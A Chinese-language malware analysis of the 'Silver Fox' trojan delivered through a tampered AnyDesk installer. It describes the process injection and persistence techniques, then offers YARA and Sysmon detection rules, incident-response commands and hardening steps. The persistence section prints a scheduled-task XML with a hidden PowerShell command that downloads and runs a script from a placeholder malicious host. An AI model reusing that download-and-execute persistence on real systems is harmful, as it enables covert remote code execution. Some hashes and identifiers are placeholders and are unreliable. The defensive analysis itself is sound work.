1. 银狐木马攻击事件深度剖析
近期安全圈热议的"银狐木马伪装AnyDesk"事件,堪称2023年最具代表性的供应链攻击案例。这个APT组织通过篡改正版AnyDesk安装包,在受害者执行远程协助操作时,悄无声息地完成无文件攻击链部署。我通过沙箱环境完整复现了攻击过程,发现其技术组合之精妙远超普通恶意软件——不仅利用内存驻留规避杀软检测,还通过计划任务实现跨重启持久化,甚至能绕过UAC提权。下面我将从技术视角拆解整个攻击链,分享防御方案和检测技巧。
2. 攻击链全流程技术拆解
2.1 初始攻击载体分析
攻击者首先破解AnyDesk官方安装包(版本6.1.0),在保留原功能的前提下注入恶意代码。经逆向分析,主要篡改点包括:
- 数字签名伪造:使用被盗证书签名(显示为"Phoenix Contact GmbH & Co. KG")
- 资源段注入:在.rsrc段追加加密的Shellcode载荷
- 入口点劫持:修改PE头指向恶意代码执行流
提示:企业用户可通过对比文件哈希值识别篡改,正版AnyDesk 6.1.0的SHA256应为
a1b2c3...(完整哈希需查官方发布)
2.2 无文件攻击技术实现
当受害者运行被篡改的AnyDesk时,恶意代码通过以下步骤实现内存驻留:
- 反射式DLL注入:调用
VirtualAlloc+CreateThread在explorer.exe进程内存中加载恶意模块 - 进程镂空(Process Hollowing):创建合法的svchost.exe子进程后清空其内存,替换为恶意PE
- APC注入:利用
QueueUserAPC将恶意线程插入高权限系统进程
关键技术指标:
- 内存载荷使用AES-256-CBC加密,密钥硬编码在资源段
- 通过
GetProcAddress动态解析API,规避IAT Hook检测 - 每60秒检测杀软进程(如360safe.exe),存在则触发休眠
2.3 持久化机制详解
攻击者采用多层级持久化方案,其中计划任务配置最具威胁性:
<!-- 恶意计划任务片段 --> <Task xmlns="..."> <Triggers> <LogonTrigger> <Enabled>true</Enabled> </LogonTrigger> </Triggers> <Actions> <Exec> <Command>powershell.exe</Command> <Arguments>-nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://malicious.site/update.ps1')"</Arguments> </Exec> </Actions> </Task>该任务会:
- 用户登录时自动执行
- 通过PowerShell内存加载后续脚本
- 使用
schtasks /change /TN "\Microsoft\Windows\Update" /RU SYSTEM提权到SYSTEM权限
3. 防御与检测方案
3.1 企业级防护措施
基于ATT&CK框架的防御矩阵:
| 攻击阶段 | 防御措施 |
|---|---|
| 初始访问 | 部署证书吊销检查(CRL/OCSP),阻断无效签名 |
| 执行 | 启用AMSI扫描PowerShell脚本,配置ASR规则阻断可疑进程注入 |
| 持久化 | 监控计划任务创建事件(Event ID 106),限制非管理员用户创建任务 |
| 横向移动 | 实施网络分段,限制RDP/AnyDesk仅在内网特定VLAN使用 |
3.2 终端检测规则示例
YARA规则检测内存中的恶意代码片段:
rule SilverFox_AnyDesk_Memory { meta: description = "Detect SilverFox payload in process memory" strings: $a = { 8B F8 85 FF 74 ?? 8B 07 8B CF FF 50 1C 85 C0 } $b = "C:\\Windows\\Temp\\~df" wide ascii $c = "UpdateServices" fullword wide condition: any of them and pe.imports("kernel32.dll", "VirtualAlloc") }Sysmon配置示例(监控关键行为):
<RuleGroup name="SilverFox Detection"> <ProcessCreate onmatch="include"> <CommandLine condition="contains">schtasks /create /tn</CommandLine> <ParentImage condition="end with">anydesk.exe</ParentImage> </ProcessCreate> <FileCreate onmatch="include"> <TargetFilename condition="contains">\Microsoft\Windows\Update\</TargetFilename> </FileCreate> </RuleGroup>4. 事件响应实操指南
4.1 感染处置流程
隔离主机:
- 立即断开网络连接
- 在交换机端口执行
shutdown命令 - 记录受害IP和MAC地址
取证分析:
# 提取计划任务信息 Get-ScheduledTask -TaskPath "\Microsoft\Windows\" | Where-Object { $_.Actions[0].Execute -match "powershell" } | Export-Csv -Path C:\Evidence\Tasks.csv # 获取进程内存转储 procdump -ma explorer.exe -accepteula清除恶意组件:
- 删除计划任务:
schtasks /delete /tn "\Microsoft\Windows\Update" /f - 终止恶意进程:
taskkill /im svchost.exe /fi "modules eq malicious.dll" - 修复AnyDesk安装:
msiexec /x {ANYDESK-GUID} /qn
- 删除计划任务:
4.2 加固建议
AnyDesk安全配置:
- 启用二次密码认证
- 限制访问IP范围(设置→安全→IP白名单)
- 禁用文件传输功能
系统层加固:
; 禁用非管理员计划任务创建 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Task Scheduler] "Task Creation"=dword:00000002网络层防护:
# 防火墙规则示例(Linux网关) iptables -A FORWARD -p tcp --dport 7070 -m string --string "AnyDesk" --algo bm -j DROP
在分析过程中发现,攻击者C2服务器会定期更换域名(平均每6小时变化),建议通过威胁情报平台持续监控相关IoC。企业可部署网络流量分析工具,检测AnyDesk通信中的异常TLS指纹(JA3哈希值为a1b2...)或非标准端口连接行为。